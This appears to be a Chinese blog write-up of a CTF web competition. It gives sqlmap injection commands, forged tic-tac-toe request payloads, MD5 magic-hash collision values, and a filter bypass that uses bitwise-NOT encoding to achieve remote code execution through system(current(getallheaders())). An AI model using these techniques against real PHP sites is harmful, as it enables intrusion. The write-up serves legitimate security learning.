CTF web之前没见过的姿势

web

babysql

sql注入

sqlmap直接秒了

爆出库

sqlmap -u http://ctf.ctbu.edu.cn:34495/?id= --dbs

爆出表

sqlmap -u http://ctf.ctbu.edu.cn:34495/?id= 'dbsql' --tables

直接出了

ezphp

真的ez吗?

反序列化

构造pop链---b溃的php魔法

一直输出__toString -----------fine

出出出

coctf{eAZy_pHp_2c000e4312e1}

tcl-tac-toe

井字棋

我要赢的时候,它直接走两步--?????~!!!!

抓包发现prev_board 和 new_board限和走一步后返回的标签

然后伪造,让AI走的变成我走的

构造payload

 prev_board=-%20-%20-%20-%20-%20-%20-%20-%20-&new_board=-%20-%20-%20-%20C%20-%20-%20-%20-
 ​
 prev_board=O%20-%20-%20-%20C%20-%20-%20-%20-&new_board=O%20-%20-%20C%20C%20-%20-%20-%20-
 ​
 prev_board=O%20O%20-%20C%20C%20-%20-%20-%20-&new_board=O%20O%20X%20C%20C%20-%20-%20-%20-
 ​
 prev_board=O%20O%20X%20C%20C%20O%20-%20-%20-&new_board=O%20O%20X%20C%20C%20O%20X%20-%20-
 ​
 prev_board=O%20O%20X%20C%20C%20O%20X%20O%20-&new_board=O%20O%20X%20C%20X%20O%20X%20O%20-
 带上走一步返回的标签

出出出

baby_RCE

 <?php
 show_source(__FILE__);
     if(isset($_GET['md51'])&&isset($_GET['md52'])){
       if(is_numeric($_GET['md51'])){
         $str1=md5($_GET['md51']);
         $str2=md5($_GET['md52']);
         if($str1!=$str2){
           $a=strtr($str1,'coctf','01234');
           $b=strtr($str2,'coctf','01234');
           if($a==$b){
             if(isset($_GET['cmd'])){
               $cmd=$_GET['cmd'];
               if(!preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$cmd)){
                 if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $cmd)){
                   echo("噢,你真厉害!!!!!");
                   @eval($cmd);
                 }else{
                   die('小黑子,被我抓住了吧!!!!!');
                 }
               }else{
                 die('这日子很有盼头啊!');
               }
             }else{
               die('怎么回事,地主的粮呢?!');
             }
           }else{
             die('年轻的web手奥,是不是要放弃了呢?');
           }
         }else{
           die('你不行啊,小菜鸡!');
         }   
       }else{
         die('不要乱传嗷,我看着呢!!');
       } 
     }else{  
       die('怎么回事,地主的粮呢?!'); 
       }    
 ​
 ?>

这道题有两个之前没遇到过的知识点

第一个md5碰撞安全漏洞 常见会发生碰撞的数组和字符串

 数组
 240610708
 0e462097431906509019562988736854
 9081940
 0e9523c2c4430c555306879508688312
 2120624
 0e85776838554cc1775842c212686416
 ​
 字符串
 QNKCDZO
 0e830400451993494058024219903391
 s878926199a
 0e545993274517709034328855841020
 s155964671a
 0e342768416822451524974117254469
 s214587387a
 0e848240448830537924465865611904
 s214587387a
 0e848240448830537924465865611904
 s878926199a
 0e545993274517709034328855841020
 s1091221200a
 0e940624217856561557816327384675
 ​
 - preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$cmd)
 ​
 - ';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $cmd)

遇到这个两个过滤了。。。。。。。。。

异或不行,构造不行,试试取反吧,,,,,但是需要functionname() 形式的,,,咋取啊啊啊

 [^\s()]+?表示匹配一次任意非空格字符+括号,(?R)?是递归的匹配。因此会限制只能调用函
 ​
 数而不能传参。并且最后还要强等于;思路就是要传一个无参的函数来进行rce。
 ​
 php中有一个函数:getallheaders(),该函数可以获取请求头的内容,然后current函数可以获
 取第一键值。因此我们可以在请求头传入内容,使用这两个函数获取内容,并使用system
 去执行。payload:system(current(getallheaders()))
 ​
 把这个进行取反操作。并在请求头输入命令即可。但是如果直接取反的话会报错,因为有不
 可见字符,因此要进行url编码一下。

[!%FF]绕过报错

查看环境变量

payload:md51=2120624&md52=240610708&cmd=[~%8F%97%8F%96%91%99%90][!%FF]();

payload:md51=2120624&md52=240610708&cmd=[~%8C%86%8C%8B%9A%92][!%FF]([~%9C%8A%8D%8D%9A%91%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));

babyphp

一直绕不过这两个简单的传参!!!!!!!

拉到IDE里面,发现有特殊字符

原来如此!!

源码中找到flag

  • 11
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值